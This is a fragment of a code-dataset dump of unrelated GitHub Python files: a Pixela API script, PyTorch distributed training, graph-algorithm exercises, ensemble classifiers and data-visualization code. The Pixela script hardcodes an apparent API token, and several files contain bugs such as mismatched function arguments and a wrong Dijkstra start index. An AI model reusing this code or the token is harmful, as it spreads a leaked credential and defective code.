9000,\n\t\t\"dude\": 420,\n\t\t\"git gud\": 1337\n\t}\n\tprint(get_greatest_values(nums, 1))\n\tprint(get_greatest_values(nums, 3))\n\tprint()\n\n\tbro1 = {\n\t\t\"money\": 12,\n\t\t\"problems\": 14,\n\t\t\"trivago\": 1\n\t}\n\tbro2 = {\n\t\t\"money\": 56,\n\t\t\"problems\": 406\n\t}\n\tbro3 = {\n\t\t\"money\": 1,\n\t\t\"chichis\": 1,\n\t\t\"power-level\": 9000\n\t}\n\tprint(get_sum_values_from_key([bro1, bro2, bro3], \"problems\"))\n\tprint(get_sum_values_from_key([bro1, bro2, bro3], \"money\"))\n\tprint()\n","repo_name":"INF1007-2022A/chapitre-06-4-raphaeldub3","sub_path":"exercice.py","file_name":"exercice.py","file_ext":"py","file_size_in_byte":1690,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"71249939626","text":"import torch\nfrom torch_geometric.data import Data\n\nfrom pygod.utils.utility import check_parameter\n\n\ndef gen_contextual_outlier_manually(data, n, scale, seed=None):\n r\"\"\"Generating contextual outliers. We randomly select ``n`` nodes as the\n attribute perturbation candidates. For each selected node :math:`i`,\n we randomly pick another ``k`` nodes from the data and select the\n node :math:`j` whose attributes :math:`x_j` deviate the most from\n node :math:`i`'s attribute :math:`x_i` among ``k`` nodes by\n maximizing the Euclidean distance :math:`\\| x_i − x_j \\|`.\n Afterwards, we then substitute the attributes :math:`x_i` of node\n :math:`i` to :math:`x_j`.\n\n Parameters\n ----------\n data : torch_geometric.data.Data\n The input data.\n n : int\n Number of nodes converting to outliers.\n scale : float\n Scale based on the original attributes for each outlier node.\n seed : int, optional\n The seed to control the randomness, Default: ``None``.\n\n Returns\n -------\n data : torch_geometric.data.Data\n The contextual outlier graph with modified node attributes.\n y_outlier : torch.Tensor\n The outlier label tensor where 1 represents outliers and 0\n represents normal nodes.\n \"\"\"\n\n if not isinstance(data, Data):\n raise TypeError(\"data should be torch_geometric.data.Data\")\n\n if isinstance(n, int):\n check_parameter(n, low=0, high=data.num_nodes, param_name='n')\n else:\n raise ValueError(\"n should be int, got %s\" % n)\n\n if isinstance(scale, (int, float)):\n check_parameter(scale, low=0, high=data.num_nodes - n, param_name='scale')\n else:\n raise ValueError(\"scale should be float, got %s\" % scale)\n\n if seed:\n torch.manual_seed(seed)\n\n outlier_idx = torch.randperm(data.num_nodes)[:n] # random select index of outliers\n\n for i, idx in enumerate(outlier_idx):\n data.x[idx] = data.x[idx]*scale\n\n y_outlier = torch.zeros(data.x.shape[0], dtype=torch.long)\n y_outlier[outlier_idx] = 1\n\n return data, y_outlier","repo_name":"jialec1909/GNN-CDR-AnomalyDetection","sub_path":"CDR/utils/gen_outliers.py","file_name":"gen_outliers.py","file_ext":"py","file_size_in_byte":2089,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"24321337228","text":"from datetime import datetime\n\nimport requests\n\nPIXELA_API_TOKEN = \"wVcvGqkpXFNvHK5o7aCtsUHpD\"\nHEADERS_TOKEN = {\"X-USER-TOKEN\": PIXELA_API_TOKEN}\nPIXELA_API_URL = \"https://pixe.la/v1/users\"\nUSERNAME = \"anonymous101284\"\nHEADERS = {\"X-USER-TOKEN\": PIXELA_API_TOKEN}\nGRAPH_ENDPOINT = f\"{PIXELA_API_URL}/{USERNAME}/graphs\"\n\n\ndef make_user():\n post_params = {\"token\": PIXELA_API_TOKEN,\n \"username\": USERNAME,\n \"agreeTermsOfService\": \"yes\",\n \"notMinor\": \"yes\"}\n response = requests.post(PIXELA_API_URL, json=post_params)\n print(response.text)\n\n\ndef make_graph():\n graph_config = {\n \"id\": \"whiskeys\",\n \"name\": \"Whiskey shots\",\n \"unit\": \"shots\",\n \"type\": \"int\",\n \"color\": \"ajisai\"\n }\n response = requests.post(GRAPH_ENDPOINT, json=graph_config, headers=HEADERS)\n print(response.text)\n\n\ndef make_pixel():\n today = datetime.now().strftime(\"%Y%m%d\")\n pixel_endpoint = f\"{GRAPH_ENDPOINT}/whiskeys\"\n pixel_data = {\"date\": today, \"quantity\": \"0\"}\n response = requests.post(url=pixel_endpoint,\n json=pixel_data,\n headers=HEADERS)\n print(response.text)\n\n\ndef delete_user():\n delete_url = f\"{PIXELA_API_URL}/{USERNAME}\"\n response = requests.delete(delete_url, headers=HEADERS)\n print(response.text)\n\n# make_user()\n# make_graph()\n# make_pixel()\n# delete_user()\n","repo_name":"ProsperousRF/100DaysOfPython","sub_path":"Day 037/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1433,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"37"} +{"seq_id":"33869782813","text":"# -8*- coding: utf-8 -*-\n\nimport torch\nimport torch.nn as nn\nimport torch.optim as optim\nimport torch.multiprocessing as mp\nimport torch.backends.cudnn as cudnn\nfrom torch.utils.data import DataLoader, Dataset\nfrom torch.nn.parallel import DistributedDataParallel\nfrom torch.utils.data.distributed import DistributedSampler\n\nimport argparse, random, time, os\nimport numpy as np\n\nclass MyDataset(Dataset):\n def __init__(self):\n super().__init__()\n self.docs = torch.randn((1024, 32, 16))\n def __len__(self):\n return len(self.docs)\n def __getitem__(self, index) :\n return self.docs[index]\n\nclass MyModel(nn.Module):\n def __init__(self, max_seq_len=32, emb_dim=16):\n super().__init__()\n self.max_seq_len = max_seq_len\n self.position_layer = nn.Embedding(max_seq_len, emb_dim)\n self.encoder_layer = nn.TransformerEncoderLayer(d_model=emb_dim, nhead=2, dropout=0.2, batch_first=True)\n self.encoder = nn.TransformerEncoder(self.encoder_layer, num_layers=2)\n self.fc = nn.Linear(emb_dim, 4)\n def forward(self, imgs, mask):\n postions = self.position_layer(torch.arange(self.max_seq_len).repeat((imgs.shape[0], 1)).to(imgs).long())\n imgs = imgs + postions\n feature = self.encoder(imgs, src_key_padding_mask=~mask)\n pooling1 = torch.sum((feature * mask.unsqueeze(-1)), axis=1) / mask.sum(axis=1)\n pooling2 = torch.max((feature * mask.unsqueeze(-1)), axis=1)[0]\n pooling = torch.cat([pooling1, pooling2], dim=1)\n output = self.fc(pooling)\n return output\n\nclass Trainer():\n def __init__(self, model, dataloader, datasampler, device, rank, args):\n self.model = model\n self.dataloader = dataloader\n self.datasampler = datasampler\n self.device = device\n self.rank = rank\n self.args = args\n def _data_to_gpu(self, data, device):\n for k in data:\n data[k] = torch.tensor(data[k]).to(device)\n return data\n def predict(self, dataloader=None, is_valid=False):\n y_true, y_pred = [], []\n self.model.eval()\n if dataloader is None:\n dataloader = self.dataloader\n with torch.no_grad():\n for batch in dataloader:\n input = [self._data_to_gpu(data, self.device) for data in batch]\n if is_valid:\n feature, label = input[:-1], input[-1]\n else:\n feature, label = input[:-1], None\n output = self.model(feature)\n predicted_label = torch.argmax(output, dim=1).detach().cpu().numpy().tolist()\n y_pred += predicted_label\n y_true += [0] * len(predicted_label) if not is_valid else label.detach().cpu().numpy().tolist()\n self.model.eval()\n return y_true, y_pred\n\n def fit(self, epoch, optimizer, criterion, saved_model, scheduler=None, validloader=None):\n for epoch in range(1, epoch+1):\n time1 = time.time()\n self.model.train(True)\n self.datasampler.set_epoch(epoch)\n total_loss = []\n\n for batch in self.dataloader: \n optimizer.zero_grad()\n\n input = [self._data_to_gpu(data, self.device) for data in batch]\n feature, label = input[:-1], input[-1]\n\n output = self.model(feature)\n loss = criterion(output, label)\n loss.backward()\n torch.nn.utils.clip_grad_norm_(self.model.parameters(), self.args.max_norm)\n\n optimizer.step()\n\n if self.rank == 0:\n total_loss.append(loss.item())\n \n if self.rank == 0:\n epoch_avg_loss = np.mean(total_loss)\n print(\"Epoch {:02d}, Time {:.02f}s, AvgLoss {:.06f}\".format(epoch, time.time()-time1, epoch_avg_loss))\n\n state_dict = self.model.module.state_dict()\n os.makedirs(os.path.dirname(saved_model), exist_ok=True)\n torch.save(state_dict, saved_model)\n \n if validloader:\n test_out = self.predict(validloader, True)\n torch.distributed.all_reduce(test_out)\n if self.rank == 0:\n y_true, y_pred = test_out\n\n \n torch.cuda.empty_cache()\n if scheduler is not None:\n scheduler.step()\n\n\ndef parameter_parser():\n parser = argparse.ArgumentParser(description=\"Run Model\")\n parser.add_argument(\"--seq_len\",\n type=int,\n default=512,\n help=\"max sequence length\")\n parser.add_argument(\"--ip\",\n type=str,\n default=\"localhost\",\n help=\"ip address\")\n parser.add_argument(\"--port\",\n type=str,\n default=str(random.randint(20000, 30000)),\n help=\"port num\")\n parser.add_argument(\"--cuda_devices\",\n type=int,\n nargs='+',\n default=list(range(torch.cuda.device_count())),\n help=\"cuda devices\")\n parser.add_argument(\"--mode\",\n type=str,\n choices=[\"train\", \"eval\"],\n help=\"train or eval\")\n parser.add_argument(\"--num_worker\",\n type=int,\n default=8,\n help=\"number of data loader worker\")\n parser.add_argument(\"--batch_size\",\n type=int,\n default=32,\n help=\"batch size\")\n parser.add_argument(\"--epoch\",\n type=int,\n default=5,\n help=\"num epoch\")\n parser.add_argument(\"--max_norm\",\n type=int,\n default=30,\n help=\"max norm value\")\n return parser.parse_args()\n\ndef set_manual_seed(seed):\n np.random.seed(seed)\n torch.manual_seed(seed)\n random.seed(seed)\n cudnn.benchmark = False\n cudnn.deterministic = True\n\ndef dist_init(ip, rank, local_rank, world_size, port):\n \"\"\"\n initialize data distributed\n \"\"\"\n host_addr_full = 'tcp://' + ip + ':' + str(port)\n torch.distributed.init_process_group(\"nccl\", init_method=host_addr_full, rank=rank, world_size=world_size)\n torch.cuda.set_device(local_rank)\n assert torch.distributed.is_initialized()\n\ndef init_weights(module):\n if isinstance(module, nn.Linear):\n nn.init.xavier_uniform_(module.weight.data)\n nn.init.constant_(module.bias.data, 0.0)\n\n elif isinstance(module, nn.LSTM):\n nn.init.xavier_uniform_(module.weight_ih_l0.data)\n nn.init.orthogonal_(module.weight_hh_l0.data)\n nn.init.constant_(module.bias_ih_l0.data, 0.0)\n nn.init.constant_(module.bias_hh_l0.data, 0.0)\n hidden_size = module.bias_hh_l0.data.shape[0] // 4\n module.bias_hh_l0.data[hidden_size:(2*hidden_size)] = 1.0\n\n if module.bidirectional:\n nn.init.xavier_uniform_(module.weight_ih_l0_reverse.data)\n nn.init.orthogonal_(module.weight_hh_l0_reverse.data)\n nn.init.constant_(module.bias_ih_l0_reverse.data, 0.0)\n nn.init.constant_(module.bias_hh_l0_reverse.data, 0.0)\n module.bias_hh_l0_reverse.data[hidden_size:(\n 2*hidden_size)] = 1.0\n\ndef train_worker(rank, args, world_size):\n model_file = \"model.torch\"\n device = args.cuda_devices[rank]\n dist_init(args.ip, rank, device, world_size, args.port)\n model = prepare_model(model_file, args, need_load=False, is_train=True, distributed=True)\n criterion = nn.CrossEntropyLoss()\n\n train_dataset = MyDataset()\n train_datasampler = DistributedSampler(train_dataset)\n train_dataloader = DataLoader(train_dataset, pin_memory=True, num_workers=args.num_worker, batch_size=args.batch_size, sampler=train_datasampler)\n\n optimizer = optim.Adam(model.parameters(), lr=1e-5)\n scheduler = optim.lr_scheduler.CosineAnnealingLR(optimizer, T_max=32, eta_min=1e-6)\n\n trainer = Trainer(model, train_dataloader, train_datasampler, device, rank, args)\n\n valid_dataset = MyDataset()\n valid_datasampler = DistributedSampler(valid_dataset)\n valid_dataloader = DataLoader(valid_dataset, pin_memory=True, num_workers=args.num_worker, batch_size=args.batch_size, sampler=valid_datasampler)\n\n trainer.fit(args.epoch, optimizer, criterion, model_file=model_file, scheduler=scheduler,\n validloader=valid_dataloader, validset=valid_dataset)\n\ndef prepare_model(model_file, args, need_load=False, is_train=True, distributed=True):\n if distributed:\n rank, device = torch.distributed.get_rank(), torch.cuda.current_device()\n else:\n rank, device = 0, torch.cuda.current_device()\n model = MyModel()\n model = model.to(device)\n if need_load:\n model.load_state_dict(torch.load(model_file, map_location='cuda:{}'.format(device)))\n if rank == 0:\n print(\"[*] load model {}\".format(model_file))\n else:\n model.apply(init_weights)\n if is_train and distributed:\n model = DistributedDataParallel(model, device_ids=[device])\n print(\"[*] rank:{}, device:{}\".format(rank, device))\n return model\n\ndef trainer():\n world_size = len(args.cuda_devices)\n mp.spawn(train_worker, args=(args, world_size), nprocs=world_size)\n\n\nif __name__ == '__main__':\n args = parameter_parser()\n if args.mode == \"train\":\n trainer()\n","repo_name":"keyunluo/Pytorch-DDP","sub_path":"run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":9667,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"74421371619","text":"\"\"\"\nZadanie 1. (ścieżka Hamiltona w DAGu) Ścieżka Hamiltona to ścieżka przechodząca przez wszystkie wierzchołki w grafie, przez każdy dokładnie raz. W ogólnym grafie znalezienie ścieżki Hamiltona jest problemem NP-trudnym. Proszę podać algorytm, który stwierdzi czy istnieje ścieżka Hamiltona w acyklicznym grafie skierowanym.\n\"\"\"\n\n#Topologyckly sort graph and than starting from the first vertex we check if we can go straight to the next\n#one.\n\n\"\"\"\nZadanie 2. (dobry początek) Wierzchołek v w grafie skierowanym nazywamy dobrym początkiem jeśli \nkażdy inny wierzchołek można osiągnąć scieżką skierowaną wychodzącą z v. \nProszę podać algorytm, który stwierdza czy dany graf zawiera dobry początek.\n\"\"\"\n\ndef topologycSort(G):\n def DFSvisit(G, u):\n visited[u] = True\n for each in G[u]:\n if not visited[each]:\n DFSvisit(G, each)\n topologycklySorted.append(u)\n\n visited = [False] * len(G)\n topologycklySorted = []\n for each in range(len(G)):\n if not visited[each]:\n DFSvisit(G, each)\n topologycklySorted.reverse()\n return topologycklySorted\n\ndef greatStart( G ):\n tpSorted = topologycSort(G)\n visited = [False] * len(G)\n def DFSvisit(G, u):\n visited[u] = True\n for each in G[u]:\n if not visited[each]:\n DFSvisit(G, each) \n DFSvisit(G, tpSorted[0])\n return visited[tpSorted[len(tpSorted) - 1]]\n\ngraph = [\n [],\n [3],\n [0, 1],\n [0, 5],\n [2],\n [],\n [5], ]\n\nprint(greatStart(graph))\n\n\n\"\"\"\nZadanie 5. (problem przewodnika turystycznego) Przewodnik chce przewieźć grupę K turystów z miasta A do miasta B. \nPo drodze jest jednak wiele innych miast i między różnymi miastami jeżdzą autobusy o różnej pojemności. \nMamy daną listę trójek postaci (x, y, c), \ngdzie x i y to miasta między którymi bezpośrednio jeździ autobus o pojemności c pasażerów.\nPrzewodnik musi wyznaczyć wspólną trasę dla wszystkich tursytów i musi ich podzielić na grupki tak, \nżeby każda grupka mogła przebyć trasę bez rodzielania się. Proszę podać algorytm, który oblicza na ile \n(najmniej) grupek przewodnik musi podzielić turystów (i jaką trasą powinni się poruszać), \nźeby wszyscy dostali się z A do B.\n\"\"\"\n\nfrom queue import PriorityQueue\nfrom math import inf\n\ndef fromEdgeToList( G ):\n _max = -inf\n for each in G:\n _max = max( _max, max(each[0],each[1]) )\n n = _max + 1\n newG = [[] for _ in range(n)]\n for x,y,c in G:\n newG[x].append((y,c))\n newG[y].append((x,c))\n return newG\n\ndef dijkstry( G, s ):\n def relax(u, v, weight):\n nonlocal Q\n if D[v] > min(weight, D[u]):\n D[v] = min(weight, D[u])\n Q.put((-1 * min(weight, D[u]),v)) \n Parent[v] = u\n\n n = len(G)\n Q = PriorityQueue()\n D = [inf] * n\n Parent = [-1] * n\n processed = [False] * n\n D[s] = inf\n Q.put((-D[s],s))\n while not Q.empty():\n _ , u = Q.get()\n if not processed[u]:\n for v in G[u]:\n if not processed[v[0]]:\n relax(u, v[0], v[1])\n processed[u] = True\n \n print(\"D: \", D)\n return D, Parent\n\n\ndef printPath(Parent, idx):\n if idx != -1:\n printPath(Parent, Parent[idx])\n print(idx, end = \" \")\n\ndef app( G, s, e ):\n G = fromEdgeToList(G)\n print(G)\n D, Parent = dijkstry(G, s)\n printPath(Parent, e)\n\n#G = [(0, 1, 15), (0, 2, 7), (0, 3, 12), (1, 5, 8), (5, 6, 9), (3, 5, 10), (3, 4, 11), (4, 6, 15), (2, 4, 9)]\n#app(G,0,6)\n\n\"\"\"\nZadanie 6. (dwóch kierowców) Dana jest mapa kraju w postaci grafu G = (V, E), gdzie wierzchołki to miasta a krawędzie to drogi łączące miasta. Dla każdej drogi znana jest jej długość (wyrażona w kilometrach jako liczba naturalna). Alicja i Bob prowadzą (na zmianę) autobus z miasta x ∈ V do miasta y ∈ V , zamienia- jąc się za kierownicą w każdym kolejnym mieście. Alicja wybiera trasę oraz decyduje, kto prowadzi pierwszy. Proszę zapropnować algorytm, który wskazuje taką trasę (oraz osobę, która ma prowadzić pierwsza), żeby Alicja przejechała jak najmniej kilometrów. Algorytm powinien być jak najszybszy (ale przede wszystkim poprawny).\n\"\"\"\n\n\ndef getMinVertex(processed, distance):\n _min = float('inf')\n u = None\n for i in range(len(distance)):\n if not processed[i] and _min > distance[i]:\n _min = distance[i]\n u = i\n return u\n\ndef dijkstryMatrix( G, s, e, isAniaDriving ):\n def relax(u, v):\n if iteration[u] == False:\n dist = 0\n else:\n dist = G[u][v]\n\n if D[v] > D[u] + dist:\n iteration[v] = not iteration[u]\n D[v] = D[u] + dist\n Parent[v] = u\n\n n = len(G)\n processed = [False] * n\n D = [inf] * n\n Parent = [-1] * n\n D[0] = 0\n iteration = [None] * n #If False than Bob is driving and we do not count distance\n if isAniaDriving:\n iteration[s] = True\n else:\n iteration[s] = False\n\n for i in range(n):\n u = getMinVertex(processed, D)\n processed[u] = True\n for v in range(n):\n if G[u][v] > 0 and not processed[v]:\n relax(u,v)\n \n return D[e], Parent\n\ndef getPath(Parent, idx):\n result = []\n while idx != -1:\n result.append(idx)\n idx = Parent[idx]\n return result\n\ndef AnioBob( G, s, e ):\n aniaDist, p1 = dijkstryMatrix(G,s,e,True)\n bobDist, p2 = dijkstryMatrix(G,s,e,False)\n if aniaDist < bobDist:\n return aniaDist, getPath(p1, e)\n else:\n return bobDist, getPath(p2,e)\n\nH = [[-1, 4, 3, 3, -1],\n [4, -1, 7, -1, -1],\n [3, 7, -1, 4, 2],\n [3, -1, 4, -1, 5],\n [-1, -1, 2, 5, -1]]\n\nG = [[-1,2,-1,-1,-1,-1,-1,-1,5],\n [-1,-1,1,-1,-1,-1,-1,-1,-1],\n [-1,-1,-1,3,-1,-1,1,-1,-1],\n [-1,-1,-1,-1,1,-1,-1,-1,-1],\n [-1,-1,-1,-1,-1,4,-1,-1,-1],\n [-1,-1,-1,-1,-1,-1,-1,-1,-1],\n [-1,-1,-1,-1,-1,1,-1,-1,-1],\n [-1,-1,-1,-1,-1,-1,1,-1,-1],\n [-1,-1,-1,-1,-1,-1,-1,4,-1]]\n","repo_name":"JakubMlocek/Algorithms_and_Data_Structures","sub_path":"exercisesFromClasses/class9.py","file_name":"class9.py","file_ext":"py","file_size_in_byte":6092,"program_lang":"python","lang":"pl","doc_type":"code","stars":2,"dataset":"github-code","pt":"35"} +{"seq_id":"30550067145","text":"import numpy as np\r\nfrom numpy.core.fromnumeric import reshape\r\nimport tensorflow.compat.v1 as tf\r\nfrom sklearn.utils import resample\r\nfrom sklearn.linear_model import LogisticRegression\r\nfrom sklearn.ensemble import AdaBoostClassifier\r\nfrom TweetModels import *\r\n\r\ndef creacionEnsambleBagging(modelos, X_train, Y_train):\r\n trainingLog = []\r\n n_splits = len(modelos)\r\n for _ in range(n_splits):\r\n # guarda los indices\r\n ix = [i for i in range(len(X_train))]\r\n train_ix = resample(ix, replace=True, n_samples=300)\r\n test_ix = [x for x in ix if x not in train_ix]\r\n\r\n # select data\r\n trainX, trainY = X_train[train_ix], Y_train[train_ix]\r\n testX, testY = X_train[test_ix], Y_train[test_ix]\r\n\r\n history = modelos[_].fit(trainX, trainY, batch_size=128, epochs=200, verbose=0, use_multiprocessing=False)\r\n trainingLog.append(history)\r\n\r\n return modelos, trainingLog\r\n\r\ndef creacionEnsambleBagging_clasico(modelos, X_train, Y_train):\r\n n_splits = len(modelos)\r\n for _ in range(n_splits):\r\n # guarda los indices\r\n ix = [i for i in range(len(X_train))]\r\n train_ix = resample(ix, replace=True, n_samples=300)\r\n test_ix = [x for x in ix if x not in train_ix]\r\n # select data\r\n trainX, trainY = X_train[train_ix], Y_train[train_ix]\r\n testX, testY = X_train[test_ix], Y_train[test_ix]\r\n\r\n modelos[_].fit(trainX, trainY)\r\n\r\n return modelos\r\n\r\ndef promedioPredicciones(modelos, modelosClasicos, dataset, datasetClasicos):\r\n predictions = []\r\n for model in modelos:\r\n predictions.append(model.predict(dataset))\r\n predictions = np.array(predictions)\r\n\r\n predictionsClasicos = []\r\n for model in modelosClasicos:\r\n predictionsClasicos.append(model.predict(datasetClasicos))\r\n predictionsClasicos = np.array(predictionsClasicos)\r\n\r\n if(predictionsClasicos.ndim == 2):\r\n predictionsClasicos=tf.keras.utils.to_categorical(predictionsClasicos, num_classes=4, dtype=\"int\")\r\n\r\n promedios = []\r\n means = 0\r\n for j in range(len(predictions)):\r\n means = np.add(means,predictions[j])\r\n\r\n for j in range(len(predictionsClasicos)):\r\n means = np.add(means,predictionsClasicos[j])\r\n\r\n means = means/(len(predictions)+len(predictionsClasicos))\r\n promedios = means\r\n\r\n return promedios\r\n\r\n\r\ndef return_stacked_dataset(models, inputX, inputXClassic):\r\n from tensorflow.keras.utils import to_categorical\r\n stack_pred = None\r\n \r\n for i,model in enumerate(models):\r\n print(i)\r\n print(\"inputX\", inputX.shape)\r\n\r\n # hacer predicciones\r\n try:\r\n predicciones = model.predict(inputX)\r\n prediccion=[np.argmax(prediccion) for prediccion in predicciones]\r\n except:\r\n prediccion = model.predict(inputXClassic)\r\n\r\n prediccion_oneHot = []\r\n for i in range(len(prediccion)):\r\n prediccion_oneHot.append(to_categorical(prediccion[i], num_classes=4))\r\n prediccion_oneHot = np.array(prediccion_oneHot)\r\n\r\n print(\"prediccion before\", prediccion_oneHot.shape)\r\n\r\n # juntar predicciones [rows, models, probabilities]\r\n prediccion_oneHot = np.expand_dims(prediccion_oneHot, axis=1)\r\n print('prediccion after', prediccion_oneHot.shape)\r\n\r\n if stack_pred is None:\r\n stack_pred = prediccion_oneHot\r\n\r\n else:\r\n print('stack_pred', stack_pred.shape)\r\n stack_pred = np.hstack((stack_pred, prediccion_oneHot))\r\n\r\n return stack_pred\r\n\r\ndef return_stacked_dataset_classics(members, inputX):\r\n stack_pred = None\r\n for i,model in enumerate(members):\r\n print(i)\r\n print(\"inputX\", inputX.shape)\r\n\r\n \"\"\"\r\n inputX_2d = inputX.reshape((inputX.shape[0],inputX.shape[1]*inputX.shape[2]))\r\n print(\"inputX_2d\", inputX_2d.shape)\r\n \"\"\"\r\n # hacer predicciones\r\n prediccion = model.predict(inputX)\r\n\r\n print('prediccion', prediccion.shape)\r\n\r\n prediccion_oneHot = []\r\n for i in range(len(prediccion)):\r\n prediccion_oneHot.append(tf.keras.utils.to_categorical(prediccion[i], num_classes=4))\r\n prediccion_oneHot = np.array(prediccion_oneHot)\r\n\r\n print('prediccion oneHot', prediccion_oneHot.shape)\r\n\r\n # juntar predicciones [rows, members, probabilities]\r\n prediccion_oneHot = np.expand_dims(prediccion_oneHot, axis=1)\r\n print('prediccion after', prediccion_oneHot.shape)\r\n\r\n if stack_pred is None:\r\n stack_pred = prediccion_oneHot\r\n\r\n else:\r\n print('stack_pred', stack_pred.shape)\r\n stack_pred = np.hstack((stack_pred, prediccion_oneHot))\r\n\r\n print(\"finishd pred\", stack_pred.shape)\r\n return stack_pred\r\n\r\n\r\n# fit a model based on the outputs from the ensemble members\r\ndef fit_stacked_model_Logistic(members, inputX, inputY):\r\n history = []\r\n\r\n # create dataset using ensemble\r\n dataset_pred = return_stacked_dataset(members, inputX)\r\n # reformar vector a 2d para ocupar en logisticRegression\r\n dataset_pred = dataset_pred.reshape((dataset_pred.shape[0], dataset_pred.shape[1]*dataset_pred.shape[2]))\r\n \r\n # fit standalone model\r\n model = LogisticRegression(multi_class='ovr')\r\n\r\n history.append(model.fit(dataset_pred, inputY))\r\n return model, history\r\n\r\n\r\n# fit a model based on the outputs from the ensemble members\r\ndef fit_stacked_model(\r\n models\r\n , modelsClassic\r\n , inputX\r\n , inputXClassic\r\n , inputY\r\n , _epochs\r\n , num_categories=4):\r\n\r\n\r\n history = []\r\n X_test_sub_2d = inputX.reshape((inputX.shape[0],inputX.shape[1]*inputX.shape[2]))\r\n\r\n # crear dataset para ensamble\r\n dataset_pred = return_stacked_dataset(models, inputX, X_test_sub_2d)\r\n\r\n #convierte el las labels a one-hot vector\r\n inputY_oneHot = []\r\n for i in range(len(inputY)):\r\n inputY_oneHot.append(tf.keras.utils.to_categorical(inputY[i], num_classes=4))\r\n inputY_oneHot = np.array(inputY_oneHot)\r\n\r\n # fit standalone model\r\n \"\"\" esto es para las no maquinas clasicas\"\"\"\r\n model = create_model_LSTM(\r\n shape = (dataset_pred.shape[1],dataset_pred.shape[2])\r\n , _num_categories = num_categories\r\n , _units = 256\r\n , _dropout = 0.3\r\n )\r\n \r\n\r\n history = model.fit(dataset_pred, inputY_oneHot, batch_size=128, epochs=_epochs)\r\n return model, history\r\n\r\ndef fit_stacked_model_classic(\r\n members\r\n , inputX\r\n , inputY\r\n , _epochs\r\n , num_categories=4):\r\n\r\n\r\n history = []\r\n print(\"members\", members)\r\n print(\"inputX.shape\", inputX.shape)\r\n print(\"inputY.shape\", inputY.shape)\r\n\r\n\r\n # crear dataset para ensamble\r\n #dataset_pred = return_stacked_dataset(members, inputX)\r\n\r\n dataset_pred = return_stacked_dataset_classics(members, inputX)\r\n\r\n print(dataset_pred)\r\n #convierte el las labels a one-hot vector\r\n inputY_oneHot = []\r\n for i in range(len(inputY)):\r\n inputY_oneHot.append(tf.keras.utils.to_categorical(inputY[i], num_classes=4))\r\n inputY_oneHot = np.array(inputY_oneHot)\r\n\r\n dataset_pred_oneHot = []\r\n for i in range(len(dataset_pred)):\r\n dataset_pred_oneHot.append(tf.keras.utils.to_categorical(dataset_pred[i], num_classes=4))\r\n dataset_pred_oneHot = np.array(dataset_pred_oneHot)\r\n\r\n print(\"dataset shape\", dataset_pred)\r\n print(\"dataset shape\", dataset_pred.shape)\r\n\r\n # fit standalone model\r\n \"\"\" esto es para las no maquinas clasicas\"\"\"\r\n model = create_model_LSTM(\r\n shape = (dataset_pred.shape[1],dataset_pred.shape[2])\r\n , _num_categories = num_categories\r\n , _units = 256\r\n , _dropout = 0.3\r\n )\r\n\r\n \"\"\"\r\n model = create_model_LSTM(\r\n shape = (dataset_pred_oneHot.shape[0])\r\n , _num_categories = num_categories\r\n , _units = 256\r\n , _dropout = 0.3\r\n )\r\n \"\"\"\r\n\r\n\r\n history = model.fit(dataset_pred, inputY_oneHot, batch_size=128, epochs=_epochs)\r\n return model, history\r\n\r\ndef stacked_prediction(members, model, inputX):\r\n\r\n X_test_sub_2d = inputX.reshape((inputX.shape[0],inputX.shape[1]*inputX.shape[2]))\r\n\r\n # create dataset using ensemble\r\n dataset = return_stacked_dataset(members, inputX, X_test_sub_2d)\r\n \r\n # make a prediction\r\n yhat = model.predict(dataset)\r\n return yhat\r\n\r\ndef stacked_prediction_classic(members, model, inputX):\r\n # create dataset using ensemble\r\n dataset = return_stacked_dataset_classics(members, inputX)\r\n print(dataset.shape)\r\n # make a prediction\r\n yhat = model.predict(dataset)\r\n return yhat\r\n\r\ndef creacionBoostingEnsamble(dataset_train, truths_train):\r\n x = np.zeros((dataset_train.shape[0],dataset_train.shape[1]*dataset_train.shape[2]))\r\n\r\n print(\"dataset shape\", dataset_train.shape)\r\n print(\"x shape\", x.shape)\r\n\r\n #transforma la forma del vector x e y para ser ocupado en Adaboost \r\n x = np.reshape(dataset_train,(dataset_train.shape[0],dataset_train.shape[1]*dataset_train.shape[2]))\r\n\r\n y = np.zeros(len(truths_train))\r\n for i in range(len(truths_train)):\r\n y[i]=(np.argmax(truths_train[i]))\r\n \r\n\r\n # Create adaboost classifer object\r\n abc = AdaBoostClassifier(n_estimators=50,\r\n learning_rate=1)\r\n # Train Adaboost Classifer\r\n model = abc.fit(x, y)\r\n\r\n return model","repo_name":"andres-zapata/deteccionDeRumoresConEnsamble","sub_path":"backend/ensambles.py","file_name":"ensambles.py","file_ext":"py","file_size_in_byte":9414,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"19816025560","text":"'''\n-*- coding: utf-8 -*-\n@Time : 2021/4/17 10:04\n@Author : Zhang Zhiyuan\n@File : visualization of chelating.py\n@Software: PyCharm\n'''\n\nimport os\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport seaborn as sns\n\n# Setting parameters\n\npath_root = os.path.join(os.path.dirname(__file__), '..')\npath_data_reader = os.path.join(path_root, 'results', 'chelating_ring.xlsx')\nsheet_names = ['Na2', 'K2', 'Rb2', 'Cs2', 'Mg2', 'Ca2', 'Sr2', 'Ba2']\n#sheet_names = ['Cs2', 'Sr2']\ndf_list = []\nfor sheet_name in sheet_names:\n locals()['df_{}'.format(sheet_name)] = pd.read_excel(path_data_reader, sheet_name=sheet_name, index_col=0)\n if sheet_name != 'K2':\n locals()['df_{}'.format(sheet_name)]['metal'] = sheet_name[0:2]\n else:\n locals()['df_{}'.format(sheet_name)]['metal'] = 'K'\n df_list.append(locals()['df_{}'.format(sheet_name)])\n\ndf1 =pd.concat(df_list, axis=0)\n\ndf1['rbl0'] = df1['bl0'] / df1['ibl0']\ndf1['rbl1'] = df1['bl1'] / df1['ibl1']\n\ndf2 = df1[df1['shortest_path01'] == 2]\nsample = []\nfor name, df_g in df2.groupby('shortest_path01'):\n sample.append(df_g.sample(n=266))\n\ndf = pd.concat(sample, axis=0)\n\ndf['shortest_path01'] = df['shortest_path01'] + 